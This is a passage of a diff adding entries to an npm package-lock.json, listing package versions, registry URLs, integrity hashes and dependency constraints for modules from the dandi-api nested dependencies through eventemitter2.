"sha512-n2hY8YdoRE1i7r6M0w9DIw5GgZN0G25P8zLCRQ8rjXtTU3vsNFBI/vWK/UIeE6g5MUUz6avwAPXmL6Fy9D/90w==", + "dependencies": { + "@tootallnate/once": "2", + "agent-base": "6", + "debug": "4" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/dandi-api/node_modules/iconv-lite": { + "version": "0.6.3", + "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.6.3.tgz", + "integrity": "sha512-4fCk79wshMdzMp2rH06qWrJE4iolqLhCUH+OiuIgU++RB0+94NlDL81atO7GX55uUKueo0txHNtvEyI6D7WdMw==", + "dependencies": { + "safer-buffer": ">= 2.1.2 < 3.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/dandi-api/node_modules/jsdom": { + "version": "19.0.0", + "resolved": "https://registry.npmjs.org/jsdom/-/jsdom-19.0.0.tgz", + "integrity": "sha512-RYAyjCbxy/vri/CfnjUWJQQtZ3LKlLnDqj+9XLNnJPgEGeirZs3hllKR20re8LUZ6o1b1X4Jat+Qd26zmP41+A==", + "dependencies": { + "abab": "^2.0.5", + "acorn": "^8.5.0", + "acorn-globals": "^6.0.0", + "cssom": "^0.5.0", + "cssstyle": "^2.3.0", + "data-urls": "^3.0.1", + "decimal.js": "^10.3.1", + "domexception": "^4.0.0", + "escodegen": "^2.0.0", + "form-data": "^4.0.0", + "html-encoding-sniffer": "^3.0.0", + "http-proxy-agent": "^5.0.0", + "https-proxy-agent": "^5.0.0", + "is-potential-custom-element-name": "^1.0.1", + "nwsapi": "^2.2.0", + "parse5": "6.0.1", + "saxes": "^5.0.1", + "symbol-tree": "^3.2.4", + "tough-cookie": "^4.0.0", + "w3c-hr-time": "^1.0.2", + "w3c-xmlserializer": "^3.0.0", + "webidl-conversions": "^7.0.0", + "whatwg-encoding": "^2.0.0", + "whatwg-mimetype": "^3.0.0", + "whatwg-url": "^10.0.0", + "ws": "^8.2.3", + "xml-name-validator": "^4.0.0" + }, + "engines": { + "node": ">=12" + }, + "peerDependencies": { + "canvas": "^2.5.0" + }, + "peerDependenciesMeta": { + "canvas": { + "optional": true + } + } + }, + "node_modules/dandi-api/node_modules/parse5": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/parse5/-/parse5-6.0.1.tgz", + "integrity": "sha512-Ofn/CTFzRGTTxwpNEs9PP93gXShHcTq255nzRYSKe8AkVpZY7e1fpmTfOyoIvjP5HG7Z2ZM7VS9PPhQGW2pOpw==" + }, + "node_modules/dandi-api/node_modules/peek-readable": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/peek-readable/-/peek-readable-5.0.0.tgz", + "integrity": "sha512-YtCKvLUOvwtMGmrniQPdO7MwPjgkFBtFIrmfSbYmYuq3tKDV/mcfAhBth1+C3ru7uXIZasc/pHnb+YDYNkkj4A==", + "engines": { + "node": ">=14.16" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/Borewit" + } + }, + "node_modules/dandi-api/node_modules/strtok3": { + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/strtok3/-/strtok3-7.0.0.tgz", + "integrity": "sha512-pQ+V+nYQdC5H3Q7qBZAz/MO6lwGhoC2gOAjuouGf/VO0m7vQRh8QNMl2Uf6SwAtzZ9bOw3UIeBukEGNJl5dtXQ==", + "dependencies": { + "@tokenizer/token": "^0.3.0", + "peek-readable": "^5.0.0" + }, + "engines": { + "node": ">=14.16" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/Borewit" + } + }, + "node_modules/dandi-api/node_modules/token-types": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/token-types/-/token-types-5.0.1.tgz", + "integrity": "sha512-Y2fmSnZjQdDb9W4w4r1tswlMHylzWIeOKpx0aZH9BgGtACHhrk3OkT52AzwcuqTRBZtvvnTjDBh8eynMulu8Vg==", + "dependencies": { + "@tokenizer/token": "^0.3.0", + "ieee754": "^1.2.1" + }, + "engines": { + "node": ">=14.16" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/Borewit" + } + }, + "node_modules/dandi-api/node_modules/tr46": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/tr46/-/tr46-3.0.0.tgz", + "integrity": "sha512-l7FvfAHlcmulp8kr+flpQZmVwtu7nfRV7NZujtN0OqES8EL4O4e0qqzL0DC5gAvx/ZC/9lk6rhcUwYvkBnBnYA==", + "dependencies": { + "punycode": "^2.1.1" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/dandi-api/node_modules/w3c-xmlserializer": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/w3c-xmlserializer/-/w3c-xmlserializer-3.0.0.tgz", + "integrity": "sha512-3WFqGEgSXIyGhOmAFtlicJNMjEps8b1MG31NCA0/vOF9+nKMUW1ckhi9cnNHmf88Rzw5V+dwIwsm2C7X8k9aQg==", + "dependencies": { + "xml-name-validator": "^4.0.0" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/dandi-api/node_modules/webidl-conversions": { + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/webidl-conversions/-/webidl-conversions-7.0.0.tgz", + "integrity": "sha512-VwddBukDzu71offAQR975unBIGqfKZpM+8ZX6ySk8nYhVoo5CYaZyzt3YBvYtRtO+aoGlqxPg/B87NGVZ/fu6g==", + "engines": { + "node": ">=12" + } + }, + "node_modules/dandi-api/node_modules/whatwg-encoding": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/whatwg-encoding/-/whatwg-encoding-2.0.0.tgz", + "integrity": "sha512-p41ogyeMUrw3jWclHWTQg1k05DSVXPLcVxRTYsXUk+ZooOCZLcoYgPZ/HL/D/N+uQPOtcp1me1WhBEaX02mhWg==", + "dependencies": { + "iconv-lite": "0.6.3" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/dandi-api/node_modules/whatwg-mimetype": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/whatwg-mimetype/-/whatwg-mimetype-3.0.0.tgz", + "integrity": "sha512-nt+N2dzIutVRxARx1nghPKGv1xHikU7HKdfafKkLNLindmPU/ch3U31NOCGGA/dmPcmb1VlofO0vnKAcsm0o/Q==", + "engines": { + "node": ">=12" + } + }, + "node_modules/dandi-api/node_modules/whatwg-url": { + "version": "10.0.0", + "resolved": "https://registry.npmjs.org/whatwg-url/-/whatwg-url-10.0.0.tgz", + "integrity": "sha512-CLxxCmdUby142H5FZzn4D8ikO1cmypvXVQktsgosNy4a4BHrDHeciBBGZhb0bNoR5/MltoCatso+vFjjGx8t0w==", + "dependencies": { + "tr46": "^3.0.0", + "webidl-conversions": "^7.0.0" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/dandi-api/node_modules/xml-name-validator": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/xml-name-validator/-/xml-name-validator-4.0.0.tgz", + "integrity": "sha512-ICP2e+jsHvAj2E2lIHxa5tjXRlKDJo4IdvPvCXbXQGdzSfmSpNVyIKMvoZHjDY9DP0zV17iI85o90vRFXNccRw==", + "engines": { + "node": ">=12" + } + }, + "node_modules/dashdash": { + "version": "1.14.1", + "resolved": "https://registry.npmjs.org/dashdash/-/dashdash-1.14.1.tgz", + "integrity": "sha512-jRFi8UDGo6j+odZiEpjazZaWqEal3w/basFjQHQEwVtZJGDpxbH1MeYluwCS8Xq5wmLJooDlMgvVarmWfGM44g==", + "dependencies": { + "assert-plus": "^1.0.0" + }, + "engines": { + "node": ">=0.10" + } + }, + "node_modules/dasu": { + "version": "0.4.3", + "resolved": "https://registry.npmjs.org/dasu/-/dasu-0.4.3.tgz", + "integrity": "sha512-AFwspl5k7V8MW8H7tyIGJ0gtOauUg7JC+DgiRFUIXvPNNDFXTMtvnCkZY0macN6JLGqBjNP38WVnQN7Iv3RSlg==" + }, + "node_modules/data-uri-to-buffer": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/data-uri-to-buffer/-/data-uri-to-buffer-5.0.1.tgz", + "integrity": "sha512-a9l6T1qqDogvvnw0nKlfZzqsyikEBZBClF39V3TFoKhDtGBqHu2HkuomJc02j5zft8zrUaXEuoicLeW54RkzPg==", + "engines": { + "node": ">= 14" + } + }, + "node_modules/data-urls": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/data-urls/-/data-urls-2.0.0.tgz", + "integrity": "sha512-X5eWTSXO/BJmpdIKCRuKUgSCgAN0OwliVK3yPKbwIWU1Tdw5BRajxlzMidvh+gwko9AfQ9zIj52pzF91Q3YAvQ==", + "dependencies": { + "abab": "^2.0.3", + "whatwg-mimetype": "^2.3.0", + "whatwg-url": "^8.0.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/dayjs": { + "version": "1.11.9", + "resolved": "https://registry.npmjs.org/dayjs/-/dayjs-1.11.9.tgz", + "integrity": "sha512-QvzAURSbQ0pKdIye2txOzNaHmxtUBXerpY0FJsFXUMKbIZeFm5ht1LS/jFsrncjnmtv8HsG0W2g6c0zUjZWmpA==" + }, + "node_modules/debug": { + "version": "4.3.4", + "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.4.tgz", + "integrity": "sha512-PRWFHuSU3eDtQJPvnNY7Jcket1j0t5OuOsFzPPzsekD52Zl8qUfFIPEiswXqIvHWGVHOgX+7G/vCNNhehwxfkQ==", + "dependencies": { + "ms": "2.1.2" + }, + "engines": { + "node": ">=6.0" + }, + "peerDependenciesMeta": { + "supports-color": { + "optional": true + } + } + }, + "node_modules/debug/node_modules/ms": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", + "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==" + }, + "node_modules/decamelize": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/decamelize/-/decamelize-1.2.0.tgz", + "integrity": "sha512-z2S+W9X73hAUUki+N+9Za2lBlun89zigOyGrsax+KUQ6wKW4ZoWpEYBkGhQjwAjjDCkWxhY0VKEhk8wzY7F5cA==", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/decimal.js": { + "version": "10.4.3", + "resolved": "https://registry.npmjs.org/decimal.js/-/decimal.js-10.4.3.tgz", + "integrity": "sha512-VBBaLc1MgL5XpzgIP7ny5Z6Nx3UrRkIViUkPUdtl9aya5amy3De1gsUUSB1g3+3sExYNjCAsAznmukyxCb1GRA==" + }, + "node_modules/decompress-response": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/decompress-response/-/decompress-response-6.0.0.tgz", + "integrity": "sha512-aW35yZM6Bb/4oJlZncMH2LCoZtJXTRxES17vE3hoRiowU2kWHaJKFkSBDnDR+cm9J+9QhXmREyIfv0pji9ejCQ==", + "dependencies": { + "mimic-response": "^3.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/decompress-response/node_modules/mimic-response": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/mimic-response/-/mimic-response-3.1.0.tgz", + "integrity": "sha512-z0yWI+4FDrrweS8Zmt4Ej5HdJmky15+L2e6Wgn3+iK5fWzb6T3fhNFq2+MeTRb064c6Wr4N/wv0DzQTjNzHNGQ==", + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/deep-is": { + "version": "0.1.4", + "resolved": "https://registry.npmjs.org/deep-is/-/deep-is-0.1.4.tgz", + "integrity": "sha512-oIPzksmTg4/MriiaYGO+okXDT7ztn/w3Eptv/+gSIdMdKsJo0u4CfYNFJPy+4SKMuCqGw2wxnA+URMg3t8a/bQ==" + }, + "node_modules/defaults": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/defaults/-/defaults-1.0.4.tgz", + "integrity": "sha512-eFuaLoy/Rxalv2kr+lqMlUnrDWV+3j4pljOIJgLIhI058IQfWJ7vXhyEIHu+HtC738klGALYxOKDO0bQP3tg8A==", + "dependencies": { + "clone": "^1.0.2" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/defaults/node_modules/clone": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/clone/-/clone-1.0.4.tgz", + "integrity": "sha512-JQHZ2QMW6l3aH/j6xCqQThY/9OH4D/9ls34cgkUBiEeocRTU04tHfKPBsUK1PqZCUQM7GiA0IIXJSuXHI64Kbg==", + "engines": { + "node": ">=0.8" + } + }, + "node_modules/defer-to-connect": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/defer-to-connect/-/defer-to-connect-2.0.1.tgz", + "integrity": "sha512-4tvttepXG1VaYGrRibk5EwJd1t4udunSOVMdLSAL6mId1ix438oPwPZMALY41FCijukO1L0twNcGsdzS7dHgDg==", + "engines": { + "node": ">=10" + } + }, + "node_modules/define-properties": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/define-properties/-/define-properties-1.2.0.tgz", + "integrity": "sha512-xvqAVKGfT1+UAvPwKTVw/njhdQ8ZhXK4lI0bCIuCMrp2up9nPnaDftrLtmpTazqd1o+UY4zgzU+avtMbDP+ldA==", + "dependencies": { + "has-property-descriptors": "^1.0.0", + "object-keys": "^1.1.1" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/degenerator": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/degenerator/-/degenerator-5.0.1.tgz", + "integrity": "sha512-TllpMR/t0M5sqCXfj85i4XaAzxmS5tVA16dqvdkMwGmzI+dXLXnw3J+3Vdv7VKw+ThlTMboK6i9rnZ6Nntj5CQ==", + "dependencies": { + "ast-types": "^0.13.4", + "escodegen": "^2.1.0", + "esprima": "^4.0.1" + }, + "engines": { + "node": ">= 14" + } + }, + "node_modules/delayed-stream": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/delayed-stream/-/delayed-stream-1.0.0.tgz", + "integrity": "sha512-ZySD7Nf91aLB0RxL4KGrKHBXl7Eds1DAmEdcoVawXnLD7SDhpNgtuII2aAkg7a7QS41jxPSZ17p4VdGnMHk3MQ==", + "engines": { + "node": ">=0.4.0" + } + }, + "node_modules/delegates": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/delegates/-/delegates-1.0.0.tgz", + "integrity": "sha512-bd2L678uiWATM6m5Z1VzNCErI3jiGzt6HGY8OVICs40JQq/HALfbyNJmp0UDakEY4pMMaN0Ly5om/B1VI/+xfQ==" + }, + "node_modules/diff": { + "version": "4.0.2", + "resolved": "https://registry.npmjs.org/diff/-/diff-4.0.2.tgz", + "integrity": "sha512-58lmxKSA4BNyLz+HHMUzlOEpg09FV+ev6ZMe3vJihgdxzgcwZ8VoEEPmALCZG9LmqfVoNMMKpttIYTVG6uDY7A==", + "engines": { + "node": ">=0.3.1" + } + }, + "node_modules/dijkstrajs": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/dijkstrajs/-/dijkstrajs-1.0.3.tgz", + "integrity": "sha512-qiSlmBq9+BCdCA/L46dw8Uy93mloxsPSbwnm5yrKn2vMPiy8KyAskTF6zuV/j5BMsmOGZDPs7KjU+mjb670kfA==" + }, + "node_modules/dom-serializer": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/dom-serializer/-/dom-serializer-2.0.0.tgz", + "integrity": "sha512-wIkAryiqt/nV5EQKqQpo3SToSOV9J0DnbJqwK7Wv/Trc92zIAYZ4FlMu+JPFW1DfGFt81ZTCGgDEabffXeLyJg==", + "dependencies": { + "domelementtype": "^2.3.0", + "domhandler": "^5.0.2", + "entities": "^4.2.0" + }, + "funding": { + "url": "https://github.com/cheeriojs/dom-serializer?sponsor=1" + } + }, + "node_modules/dom-walk": { + "version": "0.1.2", + "resolved": "https://registry.npmjs.org/dom-walk/-/dom-walk-0.1.2.tgz", + "integrity": "sha512-6QvTW9mrGeIegrFXdtQi9pk7O/nSK6lSdXW2eqUspN5LWD7UTji2Fqw5V2YLjBpHEoU9Xl/eUWNpDeZvoyOv2w==" + }, + "node_modules/domelementtype": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/domelementtype/-/domelementtype-2.3.0.tgz", + "integrity": "sha512-OLETBj6w0OsagBwdXnPdN0cnMfF9opN69co+7ZrbfPGrdpPVNBUj02spi6B1N7wChLQiPn4CSH/zJvXw56gmHw==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/fb55" + } + ] + }, + "node_modules/domexception": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/domexception/-/domexception-2.0.1.tgz", + "integrity": "sha512-yxJ2mFy/sibVQlu5qHjOkf9J3K6zgmCxgJ94u2EdvDOV09H+32LtRswEcUsmUWN72pVLOEnTSRaIVVzVQgS0dg==", + "dependencies": { + "webidl-conversions": "^5.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/domexception/node_modules/webidl-conversions": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/webidl-conversions/-/webidl-conversions-5.0.0.tgz", + "integrity": "sha512-VlZwKPCkYKxQgeSbH5EyngOmRp7Ww7I9rQLERETtf5ofd9pGeswWiOtogpEO850jziPRarreGxn5QIiTqpb2wA==", + "engines": { + "node": ">=8" + } + }, + "node_modules/domhandler": { + "version": "5.0.3", + "resolved": "https://registry.npmjs.org/domhandler/-/domhandler-5.0.3.tgz", + "integrity": "sha512-cgwlv/1iFQiFnU96XXgROh8xTeetsnJiDsTc7TYCLFd9+/WNkIqPTxiM/8pSd8VIrhXGTf1Ny1q1hquVqDJB5w==", + "dependencies": { + "domelementtype": "^2.3.0" + }, + "engines": { + "node": ">= 4" + }, + "funding": { + "url": "https://github.com/fb55/domhandler?sponsor=1" + } + }, + "node_modules/domutils": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/domutils/-/domutils-3.1.0.tgz", + "integrity": "sha512-H78uMmQtI2AhgDJjWeQmHwJJ2bLPD3GMmO7Zja/ZZh84wkm+4ut+IUnUdRa8uCGX88DiVx1j6FRe1XfxEgjEZA==", + "dependencies": { + "dom-serializer": "^2.0.0", + "domelementtype": "^2.3.0", + "domhandler": "^5.0.3" + }, + "funding": { + "url": "https://github.com/fb55/domutils?sponsor=1" + } + }, + "node_modules/duplexify": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/duplexify/-/duplexify-4.1.2.tgz", + "integrity": "sha512-fz3OjcNCHmRP12MJoZMPglx8m4rrFP8rovnk4vT8Fs+aonZoCwGg10dSsQsfP/E62eZcPTMSMP6686fu9Qlqtw==", + "dependencies": { + "end-of-stream": "^1.4.1", + "inherits": "^2.0.3", + "readable-stream": "^3.1.1", + "stream-shift": "^1.0.0" + } + }, + "node_modules/duplexify/node_modules/readable-stream": { + "version": "3.6.2", + "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-3.6.2.tgz", + "integrity": "sha512-9u/sniCrY3D5WdsERHzHE4G2YCXqoG5FTHUiCC4SIbr6XcLZBY05ya9EKjYek9O5xOAwjGq+1JdGBAS7Q9ScoA==", + "dependencies": { + "inherits": "^2.0.3", + "string_decoder": "^1.1.1", + "util-deprecate": "^1.0.1" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/ecc-jsbn": { + "version": "0.1.2", + "resolved": "https://registry.npmjs.org/ecc-jsbn/-/ecc-jsbn-0.1.2.tgz", + "integrity": "sha512-eh9O+hwRHNbG4BLTjEl3nw044CkGm5X6LoaCf7LPp7UU8Qrt47JYNi6nPX8xjW97TKGKm1ouctg0QSpZe9qrnw==", + "dependencies": { + "jsbn": "~0.1.0", + "safer-buffer": "^2.1.0" + } + }, + "node_modules/emitter-listener": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/emitter-listener/-/emitter-listener-1.1.2.tgz", + "integrity": "sha512-Bt1sBAGFHY9DKY+4/2cV6izcKJUf5T7/gkdmkxzX/qv9CcGH8xSwVRW5mtX03SWJtRTWSOpzCuWN9rBFYZepZQ==", + "dependencies": { + "shimmer": "^1.2.0" + } + }, + "node_modules/emoji-api": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/emoji-api/-/emoji-api-1.0.2.tgz", + "integrity": "sha512-rdrUna1hnIyCHi/7YwM30vrbg/qcopvGeCSrTDG79SKmZAyDG2MniKvHVSk542VTqDmyl4CWZQbb9hp3gNv3xA==", + "dependencies": { + "jsdom": "^16.4.0", + "node-fetch": "^2.6.1" + } + }, + "node_modules/emoji-regex": { + "version": "8.0.0", + "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-8.0.0.tgz", + "integrity": "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==" + }, + "node_modules/encode-utf8": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/encode-utf8/-/encode-utf8-1.0.3.tgz", + "integrity": "sha512-ucAnuBEhUK4boH2HjVYG5Q2mQyPorvv0u/ocS+zhdw0S8AlHYY+GOFhP1Gio5z4icpP2ivFSvhtFjQi8+T9ppw==" + }, + "node_modules/encoding": { + "version": "0.1.12", + "resolved": "https://registry.npmjs.org/encoding/-/encoding-0.1.12.tgz", + "integrity": "sha512-bl1LAgiQc4ZWr++pNYUdRe/alecaHFeHxIJ/pNciqGdKXghaTCOwKkbKp6ye7pKZGu/GcaSXFk8PBVhgs+dJdA==", + "dependencies": { + "iconv-lite": "~0.4.13" + } + }, + "node_modules/end-of-stream": { + "version": "1.4.4", + "resolved": "https://registry.npmjs.org/end-of-stream/-/end-of-stream-1.4.4.tgz", + "integrity": "sha512-+uw1inIHVPQoaVuHzRyXd21icM+cnt4CzD5rW+NC1wjOUSTOs+Te7FOv7AhN7vS9x/oIyhLP5PR1H+phQAHu5Q==", + "dependencies": { + "once": "^1.4.0" + } + }, + "node_modules/enquirer": { + "version": "2.3.6", + "resolved": "https://registry.npmjs.org/enquirer/-/enquirer-2.3.6.tgz", + "integrity": "sha512-yjNnPr315/FjS4zIsUxYguYUPP2e1NK4d7E7ZOLiyYCcbFBiTMyID+2wvm2w6+pZ/odMA7cRkjhsPbltwBOrLg==", + "dependencies": { + "ansi-colors": "^4.1.1" + }, + "engines": { + "node": ">=8.6" + } + }, + "node_modules/entities": { + "version": "4.5.0", + "resolved": "https://registry.npmjs.org/entities/-/entities-4.5.0.tgz", + "integrity": "sha512-V0hjH4dGPh9Ao5p0MoRY6BVqtwCjhz6vI5LT8AJ55H+4g9/4vbHx1I54fS0XuclLhDHArPQCiMjDxjaL8fPxhw==", + "engines": { + "node": ">=0.12" + }, + "funding": { + "url": "https://github.com/fb55/entities?sponsor=1" + } + }, + "node_modules/es5-ext": { + "version": "0.10.62", + "resolved": "https://registry.npmjs.org/es5-ext/-/es5-ext-0.10.62.tgz", + "integrity": "sha512-BHLqn0klhEpnOKSrzn/Xsz2UIW8j+cGmo9JLzr8BiUapV8hPL9+FliFqjwr9ngW7jWdnxv6eO+/LqyhJVqgrjA==", + "hasInstallScript": true, + "dependencies": { + "es6-iterator": "^2.0.3", + "es6-symbol": "^3.1.3", + "next-tick": "^1.1.0" + }, + "engines": { + "node": ">=0.10" + } + }, + "node_modules/es6-iterator": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/es6-iterator/-/es6-iterator-2.0.3.tgz", + "integrity": "sha512-zw4SRzoUkd+cl+ZoE15A9o1oQd920Bb0iOJMQkQhl3jNc03YqVjAhG7scf9C5KWRU/R13Orf588uCC6525o02g==", + "dependencies": { + "d": "1", + "es5-ext": "^0.10.35", + "es6-symbol": "^3.1.1" + } + }, + "node_modules/es6-object-assign": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/es6-object-assign/-/es6-object-assign-1.1.0.tgz", + "integrity": "sha512-MEl9uirslVwqQU369iHNWZXsI8yaZYGg/D65aOgZkeyFJwHYSxilf7rQzXKI7DdDuBPrBXbfk3sl9hJhmd5AUw==" + }, + "node_modules/es6-symbol": { + "version": "3.1.3", + "resolved": "https://registry.npmjs.org/es6-symbol/-/es6-symbol-3.1.3.tgz", + "integrity": "sha512-NJ6Yn3FuDinBaBRWl/q5X/s4koRHBrgKAu+yGI6JCBeiu3qrcbJhwT2GeR/EXVfylRk8dpQVJoLEFhK+Mu31NA==", + "dependencies": { + "d": "^1.0.1", + "ext": "^1.1.2" + } + }, + "node_modules/es6-weak-map": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/es6-weak-map/-/es6-weak-map-2.0.3.tgz", + "integrity": "sha512-p5um32HOTO1kP+w7PRnB+5lQ43Z6muuMuIMffvDN8ZB4GcnjLBV6zGStpbASIMk4DCAvEaamhe2zhyCb/QXXsA==", + "dependencies": { + "d": "1", + "es5-ext": "^0.10.46", + "es6-iterator": "^2.0.3", + "es6-symbol": "^3.1.1" + } + }, + "node_modules/escalade": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/escalade/-/escalade-3.1.1.tgz", + "integrity": "sha512-k0er2gUkLf8O0zKJiAhmkTnJlTvINGv7ygDNPbeIsX/TJjGJZHuh9B2UxbsaEkmlEo9MfhrSzmhIlhRlI2GXnw==", + "engines": { + "node": ">=6" + } + }, + "node_modules/escape-latex": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/escape-latex/-/escape-latex-1.2.0.tgz", + "integrity": "sha512-nV5aVWW1K0wEiUIEdZ4erkGGH8mDxGyxSeqPzRNtWP7ataw+/olFObw7hujFWlVjNsaDFw5VZ5NzVSIqRgfTiw==" + }, + "node_modules/escape-string-regexp": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-4.0.0.tgz", + "integrity": "sha512-TtpcNJ3XAzx3Gq8sWRzJaVajRs0uVxA2YAkdb1jm2YkPz4G6egUFAyA3n5vtEIZefPk5Wa4UXbKuS5fKkJWdgA==", + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/escodegen": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/escodegen/-/escodegen-2.1.0.tgz", + "integrity": "sha512-2NlIDTwUWJN0mRPQOdtQBzbUHvdGY2P1VXSyU83Q3xKxM7WHX2Ql8dKq782Q9TgQUNOLEzEYu9bzLNj1q88I5w==", + "dependencies": { + "esprima": "^4.0.1", + "estraverse": "^5.2.0", + "esutils": "^2.0.2" + }, + "bin": { + "escodegen": "bin/escodegen.js", + "esgenerate": "bin/esgenerate.js" + }, + "engines": { + "node": ">=6.0" + }, + "optionalDependencies": { + "source-map": "~0.6.1" + } + }, + "node_modules/eslint-scope": { + "version": "7.1.1", + "resolved": "https://registry.npmjs.org/eslint-scope/-/eslint-scope-7.1.1.tgz", + "integrity": "sha512-QKQM/UXpIiHcLqJ5AOyIW7XZmzjkzQXYE54n1++wb0u9V/abW3l9uQnxX8Z5Xd18xyKIMTUAyQ0k1e8pz6LUrw==", + "dependencies": { + "esrecurse": "^4.3.0", + "estraverse": "^5.2.0" + }, + "engines": { + "node": "^12.22.0 || ^14.17.0 || >=16.0.0" + } + }, + "node_modules/eslint-visitor-keys": { + "version": "3.3.0", + "resolved": "https://registry.npmjs.org/eslint-visitor-keys/-/eslint-visitor-keys-3.3.0.tgz", + "integrity": "sha512-mQ+suqKJVyeuwGYHAdjMFqjCyfl8+Ldnxuyp3ldiMBFKkvytrXUZWaiPCEav8qDHKty44bD+qV1IP4T+w+xXRA==", + "engines": { + "node": "^12.22.0 || ^14.17.0 || >=16.0.0" + } + }, + "node_modules/esprima": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/esprima/-/esprima-4.0.1.tgz", + "integrity": "sha512-eGuFFw7Upda+g4p+QHvnW0RyTX/SVeJBDM/gCtMARO0cLuT2HcEKnTPvhjV6aGeqrCB/sbNop0Kszm0jsaWU4A==", + "bin": { + "esparse": "bin/esparse.js", + "esvalidate": "bin/esvalidate.js" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/esrecurse": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/esrecurse/-/esrecurse-4.3.0.tgz", + "integrity": "sha512-KmfKL3b6G+RXvP8N1vr3Tq1kL/oCFgn2NYXEtqP8/L3pKapUA4G8cFVaoF3SU323CD4XypR/ffioHmkti6/Tag==", + "dependencies": { + "estraverse": "^5.2.0" + }, + "engines": { + "node": ">=4.0" + } + }, + "node_modules/estraverse": { + "version": "5.3.0", + "resolved": "https://registry.npmjs.org/estraverse/-/estraverse-5.3.0.tgz", + "integrity": "sha512-MMdARuVEQziNTeJD8DgMqmhwR11BRQ/cBP+pLtYdSTnf3MIO8fFeiINEbX36ZdNlfU/7A9f3gUw49B3oQsvwBA==", + "engines": { + "node": ">=4.0" + } + }, + "node_modules/esutils": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/esutils/-/esutils-2.0.3.tgz", + "integrity": "sha512-kVscqXk4OCp68SZ0dkgEKVi6/8ij300KBWTJq32P/dYeWTSwK41WyTxalN1eRmA5Z9UU/LX9D7FWSmV9SAYx6g==", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/event-emitter": { + "version": "0.3.5", + "resolved": "https://registry.npmjs.org/event-emitter/-/event-emitter-0.3.5.tgz", + "integrity": "sha512-D9rRn9y7kLPnJ+hMq7S/nhvoKwwvVJahBi2BPmx3bvbsEdK3W9ii8cBSGjP+72/LnM4n6fo3+dkCX5FeTQruXA==", + "dependencies": { + "d": "1", + "es5-ext": "~0.10.14" + } + }, + "node_modules/eventemitter2": { + "version": "5.0.1", + "resolved": 